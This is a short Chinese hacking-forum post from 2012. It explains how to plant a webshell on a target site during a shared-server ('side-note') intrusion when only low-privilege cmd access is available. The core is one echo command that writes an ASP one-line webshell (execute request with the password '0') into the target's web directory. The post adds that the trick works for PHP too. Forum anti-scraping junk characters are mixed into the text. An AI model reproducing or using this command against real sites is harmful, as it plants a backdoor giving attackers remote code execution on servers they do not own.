找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1878|回复: 0
打印 上一主题 下一主题

旁注cmd低权限下拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:40:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
在旁注过程中,可以执行cmd而权限又比较低的情况下,有时候可以用这个方法帮你拿下目标站。8 |8 B. B, T! Y, K

% O, j, G" S, G; z6 r4 M8 s& L" v命令格式
  V- u  d& I0 W% h% f0 D9 L6 q' x# ^$ f5 c" {6 E" ?
Echo 语句 >目标站绝对目录
# G0 H7 i! n! Q* F) {# |8 C6 c' L7 L* V% l0 l0 B% Q. u; y1 R6 u" n- ~
例如: 7 k7 U! O2 [) V/ Q) F4 f# S# ?

( J6 @% E5 Y2 f" T1 O# J0 Q1 O% v, _) @echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp
3 L" ?! X4 B& a3 O1 l0 _% F" @* G6 \2 g
% T& q* W& P5 C( c1 X3 B" g这样访问目标站的目录下就会生成一个密码为0的asp的一句话,此方法在PHP等脚本语言均适用,大家灵活发挥。; j& |; s. L$ t; a( T7 B- u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表